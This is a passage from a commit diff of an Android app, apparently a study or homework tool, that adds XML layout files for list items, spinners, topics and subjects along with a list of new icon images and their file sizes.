  2 + xmlns:tools="http://schemas.android.com/tools"
  3 + android:layout_width="match_parent"
  4 + android:layout_height="wrap_content"
  5 + android:orientation="vertical">
  6 +
  7 + <TextView
  8 + android:id="@+id/tv_time"
  9 + android:layout_width="wrap_content"
  10 + android:layout_height="wrap_content"
  11 + android:layout_marginLeft="15dp"
  12 + android:layout_marginBottom="15dp"
  13 + android:textColor="#999999"
  14 + android:textSize="14sp" />
  15 +
  16 + <LinearLayout
  17 + android:layout_width="match_parent"
  18 + android:layout_height="wrap_content"
  19 + android:layout_marginLeft="15dp"
  20 + android:layout_marginRight="15dp"
  21 + android:layout_marginBottom="15dp"
  22 + android:background="@drawable/bg_item_video_10"
  23 + android:orientation="vertical"
  24 + android:paddingBottom="15dp">
  25 +
  26 + <RelativeLayout
  27 + android:layout_width="wrap_content"
  28 + android:layout_height="wrap_content"
  29 + android:layout_marginLeft="15dp"
  30 + android:layout_marginTop="15dp"
  31 + android:layout_marginRight="15dp">
  32 +
  33 + <ImageView
  34 + android:id="@+id/iv_check"
  35 + android:layout_width="20dp"
  36 + android:layout_height="20dp"
  37 + android:layout_centerVertical="true"
  38 + android:layout_marginRight="5dp"
  39 + android:src="@mipmap/ic_unselect" />
  40 +
  41 + <TextView
  42 + android:id="@+id/tv_reason"
  43 + android:layout_width="wrap_content"
  44 + android:layout_height="wrap_content"
  45 + android:layout_centerVertical="true"
  46 + android:layout_toRightOf="@+id/iv_check"
  47 + android:textColor="#333333"
  48 + android:textSize="14sp" />
  49 +
  50 + <TextView
  51 + android:id="@+id/tv_type"
  52 + android:layout_width="50dp"
  53 + android:layout_height="20dp"
  54 + android:layout_alignParentRight="true"
  55 + android:layout_centerVertical="true"
  56 + android:layout_marginRight="15dp"
  57 + android:background="@drawable/bg_undo_text"
  58 + android:gravity="center"
  59 + android:text="@string/text_undo"
  60 + android:textColor="@color/white"
  61 + android:textSize="12sp" />
  62 + </RelativeLayout>
  63 +
  64 + <WebView
  65 + android:id="@+id/webview"
  66 + android:layout_width="match_parent"
  67 + android:layout_height="wrap_content"
  68 + android:layout_marginLeft="15dp"
  69 + android:layout_marginTop="10dp"
  70 + android:layout_marginRight="15dp"
  71 + android:scrollbars="none"
  72 + tools:ignore="WebViewLayout" />
  73 +
  74 + <ImageView
  75 + android:id="@+id/iv_topic"
  76 + android:layout_width="match_parent"
  77 + android:layout_height="wrap_content"
  78 + android:layout_marginLeft="15dp"
  79 + android:layout_marginTop="15dp"
  80 + android:layout_marginRight="15dp"
  81 + android:layout_marginBottom="15dp" />
  82 +
  83 + <TextView
  84 + android:id="@+id/tv_point"
  85 + android:layout_width="match_parent"
  86 + android:layout_height="25dp"
  87 + android:layout_marginLeft="15dp"
  88 + android:layout_marginRight="15dp"
  89 + android:background="@drawable/bg_soild_blue_5"
  90 + android:ellipsize="end"
  91 + android:gravity="center_vertical"
  92 + android:paddingLeft="15dp"
  93 + android:paddingRight="15dp"
  94 + android:singleLine="true"
  95 + android:textColor="@color/white"
  96 + android:textSize="12sp" />
  97 + </LinearLayout>
  98 +</LinearLayout>
0 99 \ No newline at end of file
... ...
app/src/main/res/layout/item_filter_text.xml
... ... @@ -0,0 +1,11 @@
  1 +<TextView xmlns:android="http://schemas.android.com/apk/res/android"
  2 + android:id="@+id/tv_filter"
  3 + android:layout_width="match_parent"
  4 + android:layout_height="30dp"
  5 + android:layout_marginRight="15dp"
  6 + android:layout_marginBottom="15dp"
  7 + android:background="@drawable/bg_solid_btn_grad"
  8 + android:gravity="center"
  9 + android:singleLine="true"
  10 + android:textColor="@color/text_title"
  11 + android:textSize="14sp" />
0 12 \ No newline at end of file
... ...
app/src/main/res/layout/item_for_custom_spinner.xml
... ... @@ -0,0 +1,11 @@
  1 +<TextView xmlns:android="http://schemas.android.com/apk/res/android"
  2 + android:id="@+id/tv_spinner"
  3 + android:layout_width="match_parent"
  4 + android:layout_height="30dp"
  5 + android:ellipsize="marquee"
  6 + android:gravity="center_vertical"
  7 + android:paddingLeft="15dp"
  8 + android:singleLine="true"
  9 + android:textColor="@color/text_title"
  10 + android:textSize="14sp" />
  11 +
... ...
app/src/main/res/layout/item_image.xml
... ... @@ -0,0 +1,23 @@
  1 +<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
  2 + android:layout_width="match_parent"
  3 + android:layout_height="match_parent">
  4 +
  5 + <RelativeLayout
  6 + android:layout_width="match_parent"
  7 + android:layout_height="match_parent"
  8 + android:layout_margin="15dp"
  9 + android:background="@drawable/bg_solid_white_10">
  10 +
  11 + <ImageView
  12 + android:id="@+id/iv_pic"
  13 + android:layout_width="wrap_content"
  14 + android:layout_height="wrap_content"
  15 + android:layout_centerInParent="true" />
  16 +
  17 + <RelativeLayout
  18 + android:id="@+id/rl_pic"
  19 + android:layout_width="wrap_content"
  20 + android:layout_height="wrap_content"
  21 + android:layout_centerInParent="true" />
  22 + </RelativeLayout>
  23 +</LinearLayout>
0 24 \ No newline at end of file
... ...
app/src/main/res/layout/item_subject.xml
... ... @@ -0,0 +1,22 @@
  1 +<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
  2 + android:id="@+id/rl_subject"
  3 + android:layout_width="wrap_content"
  4 + android:layout_height="wrap_content">
  5 +
  6 + <ImageView
  7 + android:id="@+id/iv_subject"
  8 + android:layout_width="45dp"
  9 + android:layout_height="45dp"
  10 + android:layout_centerHorizontal="true"
  11 + android:scaleType="fitXY" />
  12 +
  13 + <TextView
  14 + android:id="@+id/tv_subject"
  15 + android:layout_width="wrap_content"
  16 + android:layout_height="wrap_content"
  17 + android:layout_below="@+id/iv_subject"
  18 + android:layout_centerHorizontal="true"
  19 + android:layout_marginTop="10dp"
  20 + android:textColor="#333333"
  21 + android:textSize="14sp" />
  22 +</RelativeLayout>
0 23 \ No newline at end of file
... ...
app/src/main/res/layout/item_topic.xml
... ... @@ -0,0 +1,21 @@
  1 +<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
  2 + android:layout_width="75dp"
  3 + android:layout_height="30dp"
  4 + android:layout_marginRight="10dp">
  5 +
  6 + <TextView
  7 + android:id="@+id/tv_name"
  8 + android:layout_width="70dp"
  9 + android:layout_height="25dp"
  10 + android:gravity="center"
  11 + android:textSize="14sp" />
  12 +
  13 + <ImageView
  14 + android:id="@+id/iv_click"
  15 + android:layout_width="20dp"
  16 + android:layout_height="20dp"
  17 + android:layout_alignParentRight="true"
  18 + android:layout_alignParentBottom="true"
  19 + android:src="@mipmap/ic_click" />
  20 +
  21 +</RelativeLayout>
0 22 \ No newline at end of file
... ...
app/src/main/res/layout/layout_select.xml
... ... @@ -0,0 +1,22 @@
  1 +<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
  2 + android:id="@+id/rl_add"
  3 + android:layout_width="wrap_content"
  4 + android:layout_height="wrap_content"
  5 + android:background="@drawable/bg_cut_unselect">
  6 +
  7 + <ImageView
  8 + android:id="@+id/iv_state"
  9 + android:layout_width="12dp"
  10 + android:layout_height="12dp"
  11 + android:layout_centerInParent="true"
  12 + android:src="@mipmap/ic_add" />
  13 +
  14 + <ImageView
  15 + android:id="@+id/iv_edit"
  16 + android:layout_width="20dp"
  17 + android:layout_height="20dp"
  18 + android:layout_alignParentRight="true"
  19 + android:background="#80000000"
  20 + android:padding="5dp"
  21 + android:src="@mipmap/ic_edit" />
  22 +</RelativeLayout>
0 23 \ No newline at end of file
... ...
app/src/main/res/mipmap-xhdpi/ic_add.png

598 Bytes

app/src/main/res/mipmap-xhdpi/ic_add_success.png

4.38 KB

app/src/main/res/mipmap-xhdpi/ic_arrow_right.png

586 Bytes

app/src/main/res/mipmap-xhdpi/ic_chemistry.png

6.96 KB

app/src/main/res/mipmap-xhdpi/ic_chinese.png

7.01 KB

app/src/main/res/mipmap-xhdpi/ic_click.png

1.78 KB

app/src/main/res/mipmap-xhdpi/ic_close.png

900 Bytes

app/src/main/res/mipmap-xhdpi/ic_delete.png

1.53 KB

app/src/main/res/mipmap-xhdpi/ic_edit.png

351 Bytes

app/src/main/res/mipmap-xhdpi/ic_empty.png

54.9 KB

app/src/main/res/mipmap-xhdpi/ic_english.png

8 KB

app/src/main/res/mipmap-xhdpi/ic_error_edit.png

1.23 KB

app/src/main/res/mipmap-xhdpi/ic_math.png

7.35 KB

app/src/main/res/mipmap-xhdpi/ic_next.png

665 Bytes

app/src/main/res/mipmap-xhdpi/ic_next_gray.png

661 Bytes

app/src/main/res/mipmap-xhdpi/ic_photo_again.png

1.23 KB

app/src/main/res/mipmap-xhdpi/ic_physics.png

7.06 KB

app/src/main/res/mipmap-xhdpi/ic_pic_edit.png

685 Bytes

app/src/main/res/mipmap-xhdpi/ic_previous.png

564 Bytes

app/src/main/res/mipmap-xhdpi/ic_previous_gray.png

1.03 KB

app/src/main/res/mipmap-xhdpi/ic_rotate.png

1.01 KB

app/src/main/res/mipmap-xhdpi/ic_select.png

1.33 KB